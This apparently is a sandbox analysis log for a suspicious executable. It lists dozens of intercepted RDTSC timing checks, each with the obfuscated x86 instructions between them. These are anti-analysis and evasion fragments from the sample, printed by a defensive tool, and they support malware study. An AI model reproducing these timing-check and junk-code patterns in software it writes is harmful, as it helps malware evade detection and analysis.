Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8CDF8D second address: 8CDFAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F4E24C349DBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jc 00007F4E24C349D6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8CDFAC second address: 8CDFC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F4E24C29F76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007F4E24C29F7Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8CE12B second address: 8CE131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8CE131 second address: 8CE14E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F4E24C29F7Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4E24C29F7Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8CE14E second address: 8CE160 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F4E24C349D6h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8CE160 second address: 8CE164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8D185E second address: 8D1862 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8D1862 second address: 8D1868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8D1868 second address: 8D187A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F4E24C349DCh 0x0000000c jl 00007F4E24C349D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8E058A second address: 8E05A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C29F82h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8E05A9 second address: 8E05AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8E0446 second address: 8E044A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8E044A second address: 8E0466 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F4E24C349DEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F4E24C349DEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8EFCA0 second address: 8EFCB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F4E24C29F76h 0x0000000a jmp 00007F4E24C29F7Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8EFCB9 second address: 8EFCBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8EFCBD second address: 8EFD25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4E24C29F83h 0x0000000c jmp 00007F4E24C29F85h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 pushad 0x00000016 jg 00007F4E24C29F76h 0x0000001c push edi 0x0000001d pop edi 0x0000001e jnc 00007F4E24C29F76h 0x00000024 popad 0x00000025 push eax 0x00000026 jl 00007F4E24C29F76h 0x0000002c pop eax 0x0000002d jmp 00007F4E24C29F84h 0x00000032 pushad 0x00000033 jnp 00007F4E24C29F76h 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8EF881 second address: 8EF887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8EF9B1 second address: 8EF9BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8F11CF second address: 8F11E6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4E24C349DBh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8F11E6 second address: 8F11EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8F11EA second address: 8F11EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8F11EE second address: 8F11F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8F11F4 second address: 8F1211 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4E24C349E4h 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 906415 second address: 90641A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 90526B second address: 90528F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4E24C349DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4E24C349E2h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 9053E5 second address: 905400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4E24C29F76h 0x0000000a popad 0x0000000b jmp 00007F4E24C29F80h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 905BA4 second address: 905BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 905D16 second address: 905D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 905FF4 second address: 905FF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 905FF8 second address: 906014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F4E24C29F84h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 9061AC second address: 9061B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 9061B2 second address: 9061B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 90A8F8 second address: 90A931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349E4h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F4E24C349E4h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 90A931 second address: 90A942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F4E24C29F7Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 90D1E1 second address: 90D1E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 90D1E6 second address: 90D205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4E24C29F85h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 90D205 second address: 90D20B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 90D499 second address: 90D4B6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4E24C29F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jnl 00007F4E24C29F7Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 90D4B6 second address: 90D4BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 90D4BA second address: 90D53C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b jmp 00007F4E24C29F89h 0x00000010 push 00000004h 0x00000012 jnl 00007F4E24C29F9Ch 0x00000018 push 6A3137C2h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F4E24C29F87h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 90D809 second address: 90D878 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a pushad 0x0000000b jc 00007F4E24C349D6h 0x00000011 jmp 00007F4E24C349DBh 0x00000016 popad 0x00000017 pop esi 0x00000018 nop 0x00000019 jmp 00007F4E24C349E0h 0x0000001e mov dx, 5C44h 0x00000022 push dword ptr [ebp+12462AE8h] 0x00000028 push 00000000h 0x0000002a push ecx 0x0000002b call 00007F4E24C349D8h 0x00000030 pop ecx 0x00000031 mov dword ptr [esp+04h], ecx 0x00000035 add dword ptr [esp+04h], 0000001Bh 0x0000003d inc ecx 0x0000003e push ecx 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dx, 9E5Ah 0x00000046 call 00007F4E24C349D9h 0x0000004b push eax 0x0000004c push edx 0x0000004d push ebx 0x0000004e push eax 0x0000004f pop eax 0x00000050 pop ebx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 90D878 second address: 90D8A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4E24C29F80h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007F4E24C29F7Eh 0x00000014 jnp 00007F4E24C29F7Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 90D8A8 second address: 90D8B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 90D8B6 second address: 90D8D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F4E24C29F7Ch 0x0000000c jns 00007F4E24C29F76h 0x00000012 popad 0x00000013 mov eax, dword ptr [eax] 0x00000015 jbe 00007F4E24C29F89h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 828566 second address: 82858E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F4E24C349D8h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D106FE second address: 4D10702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10702 second address: 4D10708 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10708 second address: 4D1074C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F4E24C29F86h 0x0000000f mov ebp, esp 0x00000011 jmp 00007F4E24C29F80h 0x00000016 xchg eax, ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push edi 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D1074C second address: 4D10751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10751 second address: 4D107AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4E24C29F7Eh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov dh, 82h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F4E24C29F88h 0x00000016 add cx, FB38h 0x0000001b jmp 00007F4E24C29F7Bh 0x00000020 popfd 0x00000021 push ecx 0x00000022 pop ebx 0x00000023 popad 0x00000024 popad 0x00000025 xchg eax, ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F4E24C29F81h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D107AC second address: 4D107F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F4E24C349DEh 0x0000000f push eax 0x00000010 jmp 00007F4E24C349DBh 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F4E24C349E1h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D107F4 second address: 4D10835 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4E24C29F87h 0x00000009 jmp 00007F4E24C29F83h 0x0000000e popfd 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 lea eax, dword ptr [ebp-04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov si, bx 0x0000001d mov si, di 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10835 second address: 4D10869 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4E24C349E7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D108DE second address: 4D108E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D108E3 second address: 4D10906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4E24C349E4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10906 second address: 4D10918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E24C29F7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10918 second address: 4D10933 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 movsx edi, si 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10933 second address: 4D10938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D109EF second address: 4D109F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D109F5 second address: 4D0015D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c sub esp, 04h 0x0000000f xor ebx, ebx 0x00000011 cmp eax, 00000000h 0x00000014 je 00007F4E24C2A0DAh 0x0000001a mov dword ptr [esp], 0000000Dh 0x00000021 call 00007F4E292D624Dh 0x00000026 mov edi, edi 0x00000028 jmp 00007F4E24C29F80h 0x0000002d xchg eax, ebp 0x0000002e pushad 0x0000002f mov si, 7FCDh 0x00000033 mov bh, cl 0x00000035 popad 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D0015D second address: 4D00167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 0E939E32h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00167 second address: 4D0016D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D0016D second address: 4D00171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00171 second address: 4D001F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F4E24C29F7Ch 0x00000010 sbb eax, 0E7F1B48h 0x00000016 jmp 00007F4E24C29F7Bh 0x0000001b popfd 0x0000001c push eax 0x0000001d jmp 00007F4E24C29F7Fh 0x00000022 pop ecx 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 pushad 0x00000027 mov edi, 1F49DDA8h 0x0000002c push ebx 0x0000002d mov cl, 2Fh 0x0000002f pop edi 0x00000030 popad 0x00000031 sub esp, 2Ch 0x00000034 jmp 00007F4E24C29F84h 0x00000039 xchg eax, ebx 0x0000003a jmp 00007F4E24C29F80h 0x0000003f push eax 0x00000040 pushad 0x00000041 push ebx 0x00000042 mov eax, 4BFC8313h 0x00000047 pop eax 0x00000048 mov bh, 2Ah 0x0000004a popad 0x0000004b xchg eax, ebx 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D001F4 second address: 4D001FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D0032D second address: 4D00331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00331 second address: 4D00337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00337 second address: 4D00346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E24C29F7Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00457 second address: 4D0045D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D0045D second address: 4D00484 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007F4E24C29F7Eh 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00484 second address: 4D004D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, B940h 0x00000008 popad 0x00000009 mov di, 296Ch 0x0000000d popad 0x0000000e xchg eax, esi 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F4E24C349E1h 0x00000016 sub eax, 7A4F5546h 0x0000001c jmp 00007F4E24C349E1h 0x00000021 popfd 0x00000022 movzx eax, dx 0x00000025 popad 0x00000026 push esi 0x00000027 pushad 0x00000028 mov ax, 1085h 0x0000002c mov ch, 30h 0x0000002e popad 0x0000002f mov dword ptr [esp], eax 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D004D3 second address: 4D004E5 instructions: 0x00000000 rdtsc 0x00000002 mov cx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop eax 0x0000000e mov cx, bx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D004E5 second address: 4D004F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E24C349DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D004F6 second address: 4D00516 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov edi, 3F6752C0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00031 second address: 4D00036 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00036 second address: 4D00085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jmp 00007F4E24C29F88h 0x0000000f mov dword ptr [esp], ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F4E24C29F7Dh 0x0000001b add ch, 00000006h 0x0000001e jmp 00007F4E24C29F81h 0x00000023 popfd 0x00000024 mov bx, si 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00085 second address: 4D0008B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
